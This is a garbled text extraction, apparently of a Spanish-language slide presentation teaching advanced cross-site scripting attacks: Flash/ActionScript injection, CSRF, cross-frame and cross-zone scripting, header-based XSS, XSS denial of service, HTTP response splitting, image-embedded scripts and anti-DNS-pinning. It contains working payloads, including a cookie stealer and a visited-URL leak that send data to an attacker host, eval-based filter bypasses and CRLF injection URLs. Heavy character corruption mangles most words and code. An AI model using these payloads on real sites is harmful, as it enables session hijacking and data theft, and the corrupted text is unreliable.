H(ctionScriptI en un 5ic:ero SJ)M a travFs de la eti3ueta H09VI.
Qn atacante puede utiliKar dic:o protocolo especial (as5unction, para ejecutar una 5unci1n
H(ctionScriptI en un 5ic:ero SJ)M a travFs de la eti3ueta H09VI.

(OWASP-DV-."
.:Cross Site ,l$s-ing :.
)las: no permite in<ectar c1di6o javascript directamente a travFs de una Q4A con el /ta6/
H09VI. Veneralmente c:e3uea en DOs3ueda de las eBtensiones H.jp6I < H.sw5I < Dlo3uea la
car6a si el proceso 5alla.
-odemos ejecutar /javascript/ utiliKando la eBtensi1n H.jp6I para :acer un HD<passI.
<im< src=Ias;unction: path.to.;unctionD ar< .-p<I >
<im< src=I-avascript: alert(/''); //.-p<I >
(demNsM el atriDuto H0#I de la eti3ueta H09VI contiene la re5erencia de la pelLcula .SJ)
+root.createKext$ield(&m*+txt&D 6D ,%%D ,%%D !%%D 6%%);
var im< = +root.m*+txt.o)-id
-or ejemploM un atacante puede tratar de soDreescriDir el atriDuto con el si6uiente c1di6o para
c:e3uear los permisos de lectura soDre los oDjetos del HprototipoI:
id=I++proto++I
8 para c:e3uear los permisos de lectura soDre los oDjetos HparentI:
id=I++parent++I

.:Cross Site Re%uest ,orger2 :.
(CSR,"

.:Cross Site Re%uest ,orger2 :.
(CSR,"
*l ata3ue Cross/site re3uest;re5erence 5or6er< (CS4);Session 4idin6, es un tipo de ata3ue 3ue
a5ecta a determinadas estructuras de aplicativos 3ue pueden ser predeciDles. *Bplota la con5ianKa
3ue una aplicaci1n tiene en un usuario en particularM a travFs de la imposiDilidad 3ue tiene Fsta de
di5erenciar una petici1n de una posiDle vLctima o de su atacante (HCon5usedXdeput<I /"9'',.
*n el caso de las aplicaciones weD (ejemplo en esta Hpresentacin,M se podrLa decir 3ue son una
5orma HinversaI de Cross/site <a 3ue no eBplota la con5ianKa 3ue tiene un usuario en un sitio sino
3ue se aprovec:a de la con5ianKa 3ue un sitio tiene en el usuario.
*l escenario mNs comOn es el si6uiente:
/ (tacante crea una Q4A con el c1di6o malicioso in<ectado < la envLa a un servidor vulneraDle.
/ Aa vLctima se Hlo6ueaI en la pN6ina weD < mantiene aDierta una Hsesi1nI.
/ Aa vLctima visita el enlace del atacante.
/ *l c1di6o malicioso es ejecutado por el nave6ador del usuario.
*ste tipo de ata3ues 6eneralmente se utiliKan para /postear/ mensajes en 5orosM realiKar
suscripciones a /newsletters/M otras tFcnicas en aplicaciones con Hcarros de compraI <
dene6aciones de servicio (/redireccionando/ a la vLctima,.
Qn atacante puede H5orKarI a la vLctima a /postear/ en un 5oro el Oltimo 6usano 7SS de su creaci1n.
*Biste una suplantaci1n de la personalidad virtual.

.:Cross Site Re%uest ,orger2 :.
(CSR,"
Qn ejemplo de CS4) podemos verlo de 5orma practica en pN6inas weD 3ue HrealiKan
accionesI a travFs del mFtodo V*2 (aun3ue es posiDle con -8S2,.
Qn atacante puede realiKar CS4) utiliKando @29A < /javascript/ con el si6uiente c1di6o:
<im< src=&http://tiendavirtual.com/?comando>

<script src=&http://tiendavirtual.com/?comando&>

<i;rame src=&http://tiendavirtual.com?comando&>
<script>
var ;oo = new Ema<e();
;oo.src = &http://tiendavirtual.com?comando&;
</script>
( travFs de una vulneraDilidad 7SSM el atacante in<ecta c1di6o malicioso HvNlidoI
para la realiKaci1n de otra actividad en una pN6ina weD en la cual la vLctima tiene
una /sesi1n/ aDierta M por ejemploM en otra pestaca de su nave6ador.
( travFs de una vulneraDilidad 7SSM el atacante in<ecta c1di6o malicioso HvNlidoI
para la realiKaci1n de otra actividad en una pN6ina weD en la cual la vLctima tiene
una /sesi1n/ aDierta M por ejemploM en otra pestaca de su nave6ador.

.:Cross Site Re%uest ,orger2 :.
(CSR,"
Qn atacante puede realiKar CS)4 a travFs de 79A@22- utiliKando la (-0 del #89:
79A@ttp4e3uest (7@4,


<script>
var post+data = Iname=valueI;
var xmlhttp=new /L?Mttp(eNuest();
xmlhttp.open(&>C'K&D Ihttp://url/path/;ile.extID true);
xmlhttp.onread*statechan<e = ;unction () O
i; (xmlhttp.read*'tate == 6)
O
alert(xmlhttp.responseKext);
P
P;
xmlhttp.send(post+data);
</script>
*jemplo de c1di6o Hmodi5icaDleI para el nave6ador /9oKilla/ Otil para tratar de :acer un
/D<pass/ a las aplicaciones 3ue solamente permiten -8S2.
*jemplo de c1di6o Hmodi5icaDleI para el nave6ador /9oKilla/ Otil para tratar de :acer un
/D<pass/ a las aplicaciones 3ue solamente permiten -8S2.

.:Cross Site Re%uest ,orger2 :.
(CSR,"
<script>
var post+data = Iname=valueI;
var xmlhttp=new 8ctive/C)-ect(&Licroso;t./L?MKK>&);
xmlhttp.open(&>C'K&D Ihttp://url/path/;ile.extID true);
xmlhttp.onread*statechan<e = ;unction () O
i; (xmlhttp.read*'tate == 6)
O
alert(xmlhttp.responseKext);
P
P;
xmlhttp.send(post+data);
</script>
*l modulo CV0.-9 de /perl/ es tamDiFn mu< Otil para modi5icar este
tipo de peticiones.
*jemplo de c1di6o Hmodi5icaDleI para el nave6ador /0nternet *Bplorer/ Otil para tratar de :acer
un /D<pass/ a las aplicaciones 3ue solamente permiten -8S2.
*jemplo de c1di6o Hmodi5icaDleI para el nave6ador /0nternet *Bplorer/ Otil para tratar de :acer
un /D<pass/ a las aplicaciones 3ue solamente permiten -8S2.

.:Cross Site Re%uest ,orger2 :.
(CSR,"
*jemplo de ata3ue CS4) soDre una aplicaci1n weD de compras HonlineI.
*jemplo de ata3ue CS4) soDre una aplicaci1n weD de compras HonlineI.
)ormulario @29A para realiKar la compra:
<;orm action=&comprar.php& method=&>C'K&>
<p>C)-eto: <input t*pe=&text& name=&o)-eto& /></p>
<p>>recio: <input t*pe=&text& name=&precio& /></p>
<p><input t*pe=&su)mit& value=&"omprar& /></p>
</;orm>
C1di6o -@- 3ue reciDe la petici1n (5unci1n comprarXoDjetos 5icticia,:
<?php
session+start();
i; (isset(Q+(9RH9'KFIo)-etoIG AA
isset(Q+(9RH9'KFIprecioIG))
O
comprar+o)-etos(Q+(9RH9'KFIo)-etoIGD
Q+(9RH9'KFIprecioIG);
P
?>

.:Cross Site Re%uest ,orger2 :.
(CSR,"
C1di6o para in<ectar utiliKando un vector 7SS (utiliKado en ejemplos anteriores,:
&'<im< src=&http://tiendavirtual.com/comprar.php?o)-eto=culturaAprecio=,1%& />
Si la vLctima ejecuta la in<ecci1n 7SS realiKarN sin saDerlo una solicitud a la Htienda virtualI
como si :uDiera :ec:o /clic>/ el lin> de la Q4AM en el casoM 3ue compra una curioso oDjeto dd
Aa aplicaci1n utiliKa el mFtodo $X4*]Q*S2M 3ue es menos especL5ico (< al6o mNs Hinse6uroI,
3ue $X-8S2M lo 3ue supone 3ue no puede distin6uir si los datos 3ue reciDe son a travFs de la
Q4AM o del propio 5ormulario @29A.

.:Cross ,r$/e Scripting :.
(3,S"

.:Cross ,r$/e Scripting :.
(3,S"
*l ata3ue Cross/5rame Scriptin6 (7)S,P se lleva a caDo cuando el c1di6o malicioso in<ectado por un
atacante utiliKa /5rames/ para car6ar c1di6o eBterno < sin la autoriKaci1n de la vLctima.
*l secreto estN en la manipulaci1n de variaDles.
Qna aplicaci1n vulneraDle contiene el si6uiente c1di6o:
cat saludo.php
<?php
print &Mola mundoS&;
print Q+T9KFIsaludosIG;
?>
Qn atacante puede in<ectar un i5rame en su petici1n 3ue la aplicaci1n darN por vNlidaM en el casoM
enviando las urls visitadas de la vLctima al atacante.
;saludo.p:pRsaludos=Si5rame 5rameDorder=% :ei6:t=% widt:=%
src=javascript:void(document.location=[:ttp:;;Dlac>DoB.ps<.net;urlsXvisited".js[,TS;i5rameTP

.:Cross 4one Scripting :.
(34S"

(34S"
.:Cross 4one Scripting :.
*l ata3ue Cross/Kone Scriptin6 (7=S,P permite a un atacante in<ectar /scripts/ desde Konas Hsin
privile6iosIM como si 5ueran ejecutados con Hpermisos de KonaI. *l resultado se conoce como
escalada de privile6ios.
*l ata3ue Cross/Kone Scriptin6 (7=S,P permite a un atacante in<ectar /scripts/ desde Konas Hsin
privile6iosIM como si 5ueran ejecutados con Hpermisos de KonaI. *l resultado se conoce como
escalada de privile6ios.
*l concepto de /Aocal Computer Kone/ o [Kona[ sur6e a raLK de 0nternet *Bplorer (]"&36%,. *n la
actualidad :a< otros nave6adores 3ue tamDiFn lo usan.
Concretamente /0nternet *Bplorer/ tiene las si6uientes Konas:
/ 0nternet: Kona por de5ecto 3ue ejecuta todo a3uello 3ue no se encuentra en las otras Konas.
/ 0ntranet: Kona de ejecuci1n para la intranet local.
/ Sitios se6uros (trusted sites,: Kona dedicada a los sitios weD 3ue permitimos ejecutar so5tware
con pocos permisos (oDjetos (ctive7 o HappletsI por ejemplo,
/ Sitios restrin6idos (restricted sites,: Kona dedicada a los sitios a los 3ue restrin6imos nuestro
acceso
/ Aocal Computer (Kona propia,. Kona 3ue permite el acceso a 5ic:eros locales de la mN3uina
(anti6uamente mu< inse6ura,

(34S"
.:Cross 4one Scripting :.
(ta3ue Cross/Kone Scriptin6 (7=S, soDre la Kona H0ntranetI (0*,:
(ta3ue Cross/Kone Scriptin6 (7=S, soDre la Kona H0ntranetI (0*,:
Qn ejemplo puede ser el si6uiente escenario:
/ Qn atacante descuDre una vulneraDilidad en la /intranet/ de una aplicaci1n weD.
http://intranet.tiendavirtual.com/users.php?=vector /''
/ Aos HcompradoresI de la Htienda virtualI suelen suDir sus comentarios a travFs del sitio principal.
/ *l atacante in<ecta c1di6o malicioso en la weD principal utiliKando al6una de las tFcnicas de 7SS
descritas 3ue HapuntaI a la /intranet/. -or ejemplo:
http://intranet.tiendavirtual.com/users.php?=<script>alert()</script>
Si el servidor 3ue contiene la aplicaci1n considera 3ue Hintranet.tiendavirtual.comI pertenece a la
H0ntranet AocalI < un usuario ejecuta el c1di6o maliciosoM la in<ecci1n se ejecutarN en dic:o conteBto
(con los privile6ios asi6nados a la Kona, a pesar de ser llamados desde la weD principal.
HQn atacante utiliKarN unas tFcnicas u otrasM tamDiFnM en 5unci1n del nivel de privile6ios 3ue ten6aI
HQn atacante utiliKarN unas tFcnicas u otrasM tamDiFnM en 5unci1n del nivel de privile6ios 3ue ten6aI

(34S"
.:Cross 4one Scripting :.
(ta3ue Cross/Kone Scriptin6 (7=S, soDre la Kona HSitios Se6urosI / 2rusted Kone:
(ta3ue Cross/Kone Scriptin6 (7=S, soDre la Kona HSitios Se6urosI / 2rusted Kone:
*l ejemplo mNs conocido es el Du6 5#f de 0nternet *Bplorer (oDsoleto,:
http://tiendavirtual.com#$#%#%#%.http://)lack)ox.ps*.net/
Aa vulneraDilidad permite visualiKar la pN6ina weD del atacante en el conteBto del dominio de la
Htienda virtualI. -roDaDlemente en la H2rusted KoneI. -ara poder realiKarlo correctamenteM la weD
del atacante deDe estar con5i6urada para aceptar valores invNlidos en la caDecera @22- H@ost:I
(ta3ue Cross/Kone Scriptin6 (7=S, soDre la Kona HAocal ComputerI en un J0?3! :
(ta3ue Cross/Kone Scriptin6 (7=S, soDre la Kona HAocal ComputerI en un J0?3! :
<html>
<im< src=&codi<omalicioso.<i;&>
<script src=&;ile://":U4ocuments and 'ettin<sU8dministratorU
?ocal 'ettin<sUKemporar* Enternet $ilesUcodi<omalicioso.<i;&>
</html>

.:Cross Agent Scripting :.
(3AS"

(3AS"
.:Cross Agent Scripting :.
*n determinadas aplicaciones es posiDle in<ectar c1di6o a travFs de la modi5icaci1n de las
/caDeceras/ @22-.
Qn ejemplo donde proDar un H7SSI es el /strin6/ del /parNmetro/ HQser/(6entI.
*l nomDre Cross (6ent Scriptin6 (7(S, proviene del uso de dic:o vector.
Qn atacante puede modi5icar el HQser/(6entI de su nave6ador (9oKilla:H9odi5<@eadersI,
para realiKar una in<ecci1n de c1di6o. -or ejemplo para mostrarse su propia coo>ie.
<script>alert(document.cookie);</script>
Aa aplicaci1n serN vulneraDle si el c1di6o 3ue identi5ica el HQser/(6entI es por ejemplo:

Quser+usera<ent = Q+'9(@9( FIMKK>+H'9(+8T9VKIG;

.:Cross Referer Scripting :.
(3RS"

(3RS"
.:Cross Referer Scripting :.
*n determinadas aplicaciones es posiDle in<ectar c1di6o a travFs de la modi5icaci1n de las
/caDeceras/ @22-.
Qn ejemplo donde proDar un H7SSI es el /strin6/ del /parNmetro/ H4e5ererI.
*l nomDre Cross 4e5erer Scriptin6 (74S, proviene del uso de dic:o vector.
Qn atacante puede modi5icar el H4e5ererI de su nave6ador (9oKilla:H9odi5<@eadersI,
para realiKar una in<ecci1n de c1di6o. -or ejemplo para mostrar un (lert(,.
<script>alert(,!!3);</script>

.:Deni$l of Ser1ice :.
(33SDoS"

(33SDoS"
.:Deni$l of Ser1ice :.
*s posiDle realiKar /#ene6aciones de Servicio/ en el cliente;nave6ador de la vLctima
in<ectando el si6uiente c1di6o malicioso a travFs de un vector 7SS:
*s posiDle realiKar /#ene6aciones de Servicio/ en el cliente;nave6ador de la vLctima
in<ectando el si6uiente c1di6o malicioso a travFs de un vector 7SS:
<script>;or (;;) alert(&)ucle&); </script>
*l nave6ador entrarN en un /loop/ in5inito de apertura de (lerts(, oDli6ando a la vLctima a
cerrarloM dene6ando el servicio de la aplicaci1n por 5alta recursos o por HoDli6aci1nI del usuario.

(33SDoS"
.:Deni$l of Ser1ice :.
*s posiDle realiKar /#ene6aciones de Servicio/ en el servidor de una weD in<ectando c1di6o
malicioso a travFs de un vector 7SSM 3ue HoDli6ueI a las vLctimas a conectarse repetidamente:
*s posiDle realiKar /#ene6aciones de Servicio/ en el servidor de una weD in<ectando c1di6o
malicioso a travFs de un vector 7SSM 3ue HoDli6ueI a las vLctimas a conectarse repetidamente:
<meta#%http=eNuiv=&re;resh&#%content=&%;&>
*l c1di6o anterior ejecutarN un re5resco in5inito del nave6ador de la vLctima HcontraI el
servidor de manera oculta (ampliar con 7SS proB<,. -uede provocar 3ue la Dase de datos de
la aplicaci1n weD se inunde de determinadas peticiones < la weD deje de 5uncionarM si se
realiKa de 5orma masiva.
(demNs el nave6ador entrarN en un /loop/ in5inito de re5resco oDli6ando a la vLctima a
cerrarlo.
Se puede :acer una comDinaci1n con multitud de nave6adores para realiKar H#ene6aciones
de Servicio #istriDuidasI (##oS, contra una weD oDjetivo.
-or ejemploM mediante la in<ecci1n de c1di6o malicioso 3ue realice peticiones continuadas
desde sitios weDs mu< HconcurridosIM o mediante redes de Dots;nave6adores secuestrados.

.:,l$s-6 Att$c7 :.

)las:! (ttac> es un tipo de ata3ue Dasado en la in<ecci1n de c1di6o a travFs de 9acromedia )las:
-lu6in;(ctive 7 control. Aos documentos en )las: (.SJ), se utiliKa para crear animaciones
Dasadas en una linea de tiempo (jue6osM simulacionesM/ Danners/M pN6inas weD,.
.:,l$s-6 Att$c7 :.
Aa [presentacin[ tratarN al6unos ejemplos de ata3ues 7SS soDre pN6inas weD 3ue interpretan
(ctionScript. *s decirM 3ue permiten visualiKar documentos en )las: a travFs de un HvisorI.
0ma6en instalaci1n -plugin- pri1$ti1o desde V?Q;A0nuB #eDian

Sino se encuentra /5iltrada/M un atacante puede usar la 5unci1n VetQ4A(, para realiKar
peticiones de c1di6o eBternas. Su sintaBis es la si6uiente:
<etH(?(url:'trin<D Fwindow: 'trin<DFmethod:'trin<GG)
Veneramos el si6uiente c1di6o (en el ejemploM para mostrar un (lert(, con la Hcoo>ieI,
utiliKando (ctionScript < lo 6uardamos como .SJ) (coo>Xalert.sw5,
<etH(?(.-avascript:alert(document.cookie))
Ao si6uiente es suDir el 5ic:ero a la pN6ina weD vLctima. Aa sintaBis suele ser utiliKando la
eti3ueta H*mDedI:
<em)ed
src=&http://)lack)ox.ps*.net/;lashattack/cookies/cook+alert.sw;&
plu<inspa<e=&http://www.macromedia.com/shockwave/download/index.c<i?
>,+>rod+@ersion='hockwave$lash&
t*pe=&application/x=shockwave=;lash&
width=&%& hei<ht=&%&>
</em)ed>
.:,l$s-6 Att$c7 :.
)las:! (ttac> oculto soDre una pN6ina weD 3ue permite HsuDirI contenidos /(ctionScript/ a travFs
de la eti3ueta H*mDedI
)las:! (ttac> oculto soDre una pN6ina weD 3ue permite HsuDirI contenidos /(ctionScript/ a travFs
de la eti3ueta H*mDedI

-ara HsuDirI nuestro c1di6o malicioso (coo>Xalert.sw5, anterior serLa el si6uiente ejemplo:
F;lashGhttp://)lack)ox.ps*.net/;lashattack/cookies/cook+alert.sw;F/;lashG
Se6uramente el /script/ del servidor interpretarN la petici1n de la si6uiente manera:
.:,l$s-6 Att$c7 :.
)las:! (ttac> soDre una pN6ina weD 3ue permite HsuDirI contenidos /(ctionScript/ a travFs de la
eti3ueta H)las:I
)las:! (ttac> soDre una pN6ina weD 3ue permite HsuDirI contenidos /(ctionScript/ a travFs de la
eti3ueta H)las:I
<o)-ect
classid=&clsid:4#3"4:19=8914=,,c;=21:7=66655!56%%%%&
width=#%%
hei<ht=#%%>
<param
name=movie
value=http://)lack)ox.ps*.net/;lashattack/cookies/cook+alert.sw;>
<param
name=pla*
value=true>
<param
name=loop
value=true>

<param name=Nualit*
value=hi<h>
<em)ed
src=http://)lack)ox.ps*.net/;lashattack/cookies/cook+alert.sw;
width=#%%
hei<ht=#%%
pla*=true
loop=true
Nualit*=hi<h>
</em)ed>
</o)-ect>
.:,l$s-6 Att$c7 :.
Cual3uier usuario 3ue visite la weD en la 3ue se HejecutaI la visualiKaci1n del 5ic:ero
.SJ) maliciosoM reciDirN un mensaje de (lert(, con su coo>ie.
Qn atacante puede usar esta misma tFcnica para realiKar roDos de sesi1n <;o secuestro
de nave6adores.

.:,l$s-6 Att$c7 :.
)unci1n para :acer un /D<pass/ de al6unos 5iltros comunes para /(ctionScript/
)unci1n para :acer un /D<pass/ de al6unos 5iltros comunes para /(ctionScript/
Veneralmente los desarrolladores 3ue permiten HsuDirI contenido en )las: 6eneran /scripts/ 3ue
tratan de :acer un /parseo/ del c1di6o antes de darlo por vNlido.
-or ejemploM evitando determinados /strin6s/
-avascript:alert(document.cookie)
Sin emDar6oM /(ctionScript/ permite utiliKar la 5unci1n *val (,M mu< Otil para realiKar las in<ecciones
sin necesidad de utiliKar un /strin6/ HtLpicoI. Vuardamos el 5ic:ero como .SJ)
a=&<et&;
)=&H(?&;
c=&-avascript:&;
d=&alert(document.cookie);void(%);&;
eval(aJ))(cJd);
4esultado de c1di6o a in<ectar:
<etH(?(-avascript:alert(document.cookie))

.:,l$s-6 Att$c7 :.
*s posiDle roDar la /coo>ie/ de sesi1n del nave6ador de la vLctima.
*s posiDle roDar la /coo>ie/ de sesi1n del nave6ador de la vLctima.
Aa tFcnica es eBplicada con detalle mNs adelante.
-ara realiKar un roDo de sesi1n mediante )las:! (ttac>M podemos se6uir los si6uiente ejemplos:
", *jemplo de 5ic:ero /javascript/ 3ue reco6a la /coo>ie/ desde un servidor remoto.
document.location=&http://)lack)ox.ps*.net/;lashattack/cookies/cookie+stealer?
cookie=&Jdocument.cookie;
!, *jemplo de c1di6o malicioso a in<ectar (coo>Xstealer.sw5,
TetH(?(&http://www.tiendavirtual.com/media.php?var=<script
src=Ihttp://)lack)ox.ps*.net/;lashattack/cookies/cook+stealer.sw;I></script>&D&+sel;&);
3, SuDimos el 5ic:ero (coo>Xstealer.sw5, con la in<ecci1n a la pN6ina vulneraDle.
Cuando las posiDles vLctimas visiten el documento en /)las:/ enviarNn su coo>ie de sesi1n a un
servidor remoto controlado por el atacante.
*l atacante podrN suplantar la identidad de la victima (secuestro de sesi1n,.

.:Induced 3SS :.

*l ata3ue H0nducedI 7SS es un tipo de in<ecci1n de c1di6o 3ue se ejecuta en el conteBto del
servidor. 2amDiFn es conocido como @22- 4esponse Splittin6.
Qn atacante puede camDiar el contenido @29A completo de una pN6ina weD a travFs de la
manipulaci1n de las caDeceras @22- de las respuestas del servidor. -ara elloM envia una sola
petici1n @22- 3ue oDli6a al servidor weD a crear un /stream/ de salida 3ue es interpretado por la
victima como dos respuestaM en veK de una sola (splittin6,. (9oKilla: Aive @22-;2amper,
Aa primera petici1n del atacante se utiliKada para in<ectar el c1di6o 7SS e invocar las [dos
respuestas[ del servidor. Aa se6unda petici1n se utiliKa para [camu5lar[ la primeraM 6eneralmente
con un lin> vNlido de la pN6ina weD.
*s posiDle realiKar @22- 4esponde Splittin6 en los servidores 3ue /emDeDen/ scripts con datos de
usuario en las respuestas de sus caDeceras @22-M por ejemplo para realiKar redirecciones
(Aocation @22-, o estaDlecer el valor de las coo>ies (Set/Coo>ie @22-,.
Aa tFcnica llevada a caDo de 5orma correcta permite :acer ata3ues mNs so5isticados 3ue el 7SS:
/ JeD cac:e poison: 5orKar al servidor a 6uardar en la cac:e la petici1n in<ectada.
/ +rowser cac:e poison: 5orKar a la vLctima a 6uardar en la cac:e de su nave6ador la petici1n.
.:Induced 3SS :.

*l servidor tiene un /script/ (redirXlan6.jsp, en ES- 3ue redirecciona a los usuarios a un pN6ina
weD determinada se6On el idioma 3ue eli6an. QtiliKa por ejemplo el si6uiente c1di6o:
Alt; response.send(edirect(&/lan<.-sp?lan<=&J reNuest.<et>arameter(&lan<&)); A<t;
Cuando el usuario :ace una petici1n de un idioma determinado (lan6=0n6les,M el servidor le
redirecciona a la selecci1n correcta.
*l servidor solamente acepta (HesI;IenI, como /entradas/ vNlidas para el idomaM por tanto la
caDecera 3ueda:
MKK>/,.x !%# Lovido temporWlmente
4ate: KueD ,, Xul #%%2 ,5:52:!! TLK
?ocation: http://www.xxxxx.com/lan<.-sp?lan<=En<les
'erver: 'erver: 8pache="o*ote/,.,
"ontent=K*pe: text/html;charset=E'C=7752=,
'et="ookie: usc+lan<=!; 9xpires=KhuD ##=Cct=#%%2 ,5:52:!! TLK
"onnection: "lose
F....G
.:Induced 3SS :.
*jemplo de ata3ue H0nducedI 7SS a un servidor 3ue utiliKa ES-:
*jemplo de ata3ue H0nducedI 7SS a un servidor 3ue utiliKa ES-:

(demNs trata de dar una Hsoluci1nI al usuario insertando la pN6ina weD 3ue HdeDerLaI solicitar.
*l mensaje suele ser similar al si6uiente:
!%# Loved Kemporaril*
Khis document *ou reNuested has moved temporaril*.
EtIs now at http://www.xxxxx.com/lan<.-sp?lan<=en
*so si6ni5ica 3ue el parNmetro Hlan6I es /emDeDido/ en la caDeKara HAocationI de las @22-
:eaders. Ao 3ue puede dar lu6ar a 3ue un atacante trate de modi5icarlas.
@acemos caso < se6uimos la Hrecomendaci1nI (:acemos clic> en el lin>, P,
(:ora la idea es crear nuestra respuesta @22- mediante /Splittin6/. -ara ello vamos a realiKar
una petici1n al /script/ (redirXlan6.jsp, con una in<ecci1n 3ue utilice codi5icaci1n C4A)
( travFs de una serie de caracteres HcerraremosI la primera respuesta del servidor <
HaDriremosI una nueva justo despuFs (! respuestas en " == @22- Splittin6,:
.:Induced 3SS :.

0n<ectamos el c1di6o directamente en la Q4A del script (redirXlan6.jsp,:
http://www.xxxxx.com/redir+lan<.-sp?lan<=;oo)ar%d%a"ontent= ?en<th:#%%%d%a%d
%aMKK>/,.,#%#%%#%CY%d%a"ontent= ?en<th:#%,2%d%a%d
%aAlt;htmlA<t;'"T=%2Alt;/htmlA<t;
8Dservamos la respuesta del servidor:
MKK>/,.x !%# Lovido temporWlmente
4ate: KueD ,, Xul #%%2 ,6:%3:,, TLK
?ocation: http://www.xxxxx.com/lan<.-sp?lan<=;oo)ar "ontent=?en<th: % MKK>/,., #%% CY
"ontent=?en<th: ,2 Alt;htmlA<t;'"T=%2Alt;/htmlA<t;
'erver: 'erver: 8pache="o*ote/,.,
"ontent=K*pe: text/html;charset=E'C=7752=,
'et="ookie: usc+lan<=!; 9xpires=KhuD ##=Cct=#%%2 ,5:52:!! TLK
"onnection: "lose
Como vemos se :a producido un /split/
@a tomado por vNlida la in<ecci1n (8Z, < :a se6uido con el resto de la caDeceraM in<ectando
una pN6ina en @29A con el teBto SCV/%9.
.:Induced 3SS :.

.:I/$ge Scripting :.

.:I/$ge Scripting :.
*l ata3ue 0ma6e Scriptin6P es un tipo de in<ecci1n de c1di6o 3ue se ejecuta a travFs de la
lectura de los parNmetros Dinarios de una ima6en 3ue :ace el servidor. *n ocasiones el
desarrollador no 5iltra correctamente < puede permitir 3ue un atacante realice un 7SS. -or
ejemploM el atacante crea una ima6en cual3uiera con 5ormato V0) (ps<.6i5,
(Dre la ima6en con un editor de teBto
+orra el contenido (Dinarios, e inserta el c1di6o malicioso de la si6uiente manera:
TE$72a<script>alert(&/''&)</script>
( continuaci1n suDe la ima6en a un servidor Dajo su control (o un alojamiento pODlico,
Si las victimas utiliKan 0nternet *Bplorer < visitan la ima6enM ejecutarNn en se6undo plano la
in<ecci1n de c1di6o en su nave6ador. -or ejemploM el atacante puede ver las urls visitadas.
TE$72a<script src=&http://)lack)ox.ps*.net/urls+visited,.-s&></script>
*n el caso de 3ue la ima6en ten6a otro 5ormato:
-?V == e-?V ///////////////////////T e-?V<script>alert(&/''&)</script>
V0) == V0)'9a ////////////////////////T V0)'9a<script>alert(&/''&)</script>
E-V == fgfh E)0) ///////////////////T fgfh E)0)<script>alert(&/''&)</script>
+9- == +9)i //////////////////// ///T +9)i<script>alert(&/''&)</script>

.:$nti-D8S Pinning :.

.:$nti-D8S Pinning :.
-ara entender el #?S [-innin6[ es preciso conocer como 5unciona el Sistema de ?omDres de
#ominio (#?S,.
Cuando un usuario solicita una pN6ina weD al nave6adorM el #?S convierte la Q4A (Qni5orme
4esource Aocator, en una direcci1n numFrica.
#urante el procesoM un 5ic:ero local es revisado para ver si se trata de una /entrada/ estNtica.

9n Bin!#: C:bJ0?#8JSbs<stem3!bdriversbetcb:osts
9n ZVix: ;etc;:osts
Si la direcci1n solicitada no eBisteM la in5ormaci1n es utiliKada para redireccionar al nave6ador.
#ns [-innin6[ es cuando un nave6ador /cac:ea/ la direcci1n 0- de un :ost para mantener la
[vida[ de una sesi1nM utiliKando 22A's.
-or tantoM si un usuario tiene el 2ime 2o Aive en !% se6undosM el #?S [-innin6[ del nave6ador
salvarN la in5ormaci1n :asta 3ue el nave6ador sea reiniciado.
Qn atacante pude usar tFcnicas anti/#?S [-innin6[ para crear aliases de sitios weD vNlidosM
lle6ando a poder acceder a Konas de la intranet.

.:$nti-D8S Pinning :.
"./ Aa vLctima conecta a www.sitiomali6no.com (!!!.!!!.!!!.!!!, con un 22A de " s6.
!./ *l nave6ador de la vLctima procesa el c1di6o /javascript/ 3ue le HoDli6aI a conectarse a
www.sitiomali6no.com en ! se6undos.
3./ www.sitiomali6no.com se encuentra con5i6urado con el uso del 5irewall de manera 3ue
no pueda ser accesiDle por la vLctima.
&./ *l nave6ador de la vLctima comienKa el proceso de [#ns -innin6[
$./ *l nave6ador de la vLctima se conecta al servidor #?S < Hpre6untaI donde se
encuentra realmente www.sitiomali6no.com
6./ *l servidor #?S responde con la 0- """.""".""".""" 3ue es una weD cual3uiera
(www.ejemplo.com,
./ *l nave6ador de la vLctima conecta a """.""".""".""" < envLa la si6uiente caDecera
T9K / MKK>/,.%
Most: www.sitiomali<no.com
Hser=8<ent: Lo[illa/5.% (compati)le; Too<le)ot/#.,; Jhttp://www.<oo<le.com/)ot.html)
8ccept: Z/Z
F.....G
'./ *l nave6ador de la vLctima lee los datos de la caDecera < envLa la respuesta a
www!.sitiomali6no.com en la direcci1n 333.333.333.333
Qn ejemplo propuesto por 9artin Eo:ns en !%%6 eBplica como puede ser HeBplotandoI
utiliKando un servidor 3ue se encuentra /down/:
Qn ejemplo propuesto por 9artin Eo:ns en !%%6 eBplica como puede ser HeBplotandoI
utiliKando un servidor 3ue se encuentra /down/:

.:$nti-D8S Pinning :.
-or ejemploM si la weD 3ue contiene """.""".""".""" tiene una Kona de intranet
(intranet.ejemplo.com, 3ue apunta a "%."%."%."% (4)C"9"',M un atacante puede poner como
[oDjetivo[ Konas internas de un servidor weD supuestamente inaccesiDles. *s decirM el atacante
puede [oDli6ar[ a un usuario a leer pN6inas JeD de direcciones internas en las 3ue nunca
podrLa entrar por si mismo.
Si el servidor /parsea/ la caDecera [@ost[ serLa posiDle evitar dic:a tFcnica.
Sin emDar6oM (mit Zlien puDlic1 en un email una tFcnica para :acer un [D<pass[ a dic:o
eBamen. (Circumventin6 (nti/anti/#?S -innin6,.
-ara ello utiliKa 79A@22-4e3uest para :acer /spoo5in6/ de la caDecera [@ost[ en 0nternet
*Bplorer 6.%.
<'"(E>K>
var x = new 8ctive/C)-ect(&Licroso;t./L?MKK>&);
x.open(&T9KUthttp://www.sitiomali<no.com/UtMKK>/,.%UrUnMost:Utwww.e-emplo.comUrUnUrUn&D
&http://www.sitiomali<no.com/&D;alse);
x.send();
alert(x.responseKext);
</'"(E>K>
*l c1di6o 5uerKa a la vLctima a acceder al dominio con las mismas polLticas de se6uridad 3ue
en el sitio prote6ido.

.:$nti-D8S Pinning :.
(dore 4eader (.B < anteriores, tiene una vulneraDilidad 3ue permite la in<ecci1n de c1di6o
7SS.
http://www.e-emplo.com/e-mplo;ichero.pd;\)lah=-avascript:alert(&/''&);
Suponiendo 3ue el nave6ador de la vLctima utiliKa H)ire5oBI u H8peraI con una versi1n
vulneraDle. -odemos ver el ejemplo de [D<pass[M con el si6uiente escenario:
"./ Qn atacante 3uiere ejecutar un 7SS en el servidor ejemplo.com para roDar la
coo>ie de una vLctima.
!./ *l administrador de ejemplo.com prote6e un -#) de ser descar6ado de 5orma
directa (usando un Onico to>en de sesi1n,
3./ Aa vLctima visita la weD del atacante sitiomali6no.com (!!!.!!!.!!!.!!!,
&./ *l atacante utiliKa 79A@22-4e3uest para decir al nave6ador de la vLctima 3ue
visite sitiomali6no.com en unos se6undos < 3ue [termine[ la entrada #?S al :acerlo.
$./ *l nave6ador de la vLctima se conecta a sitiomali6no.com pero se encuentra
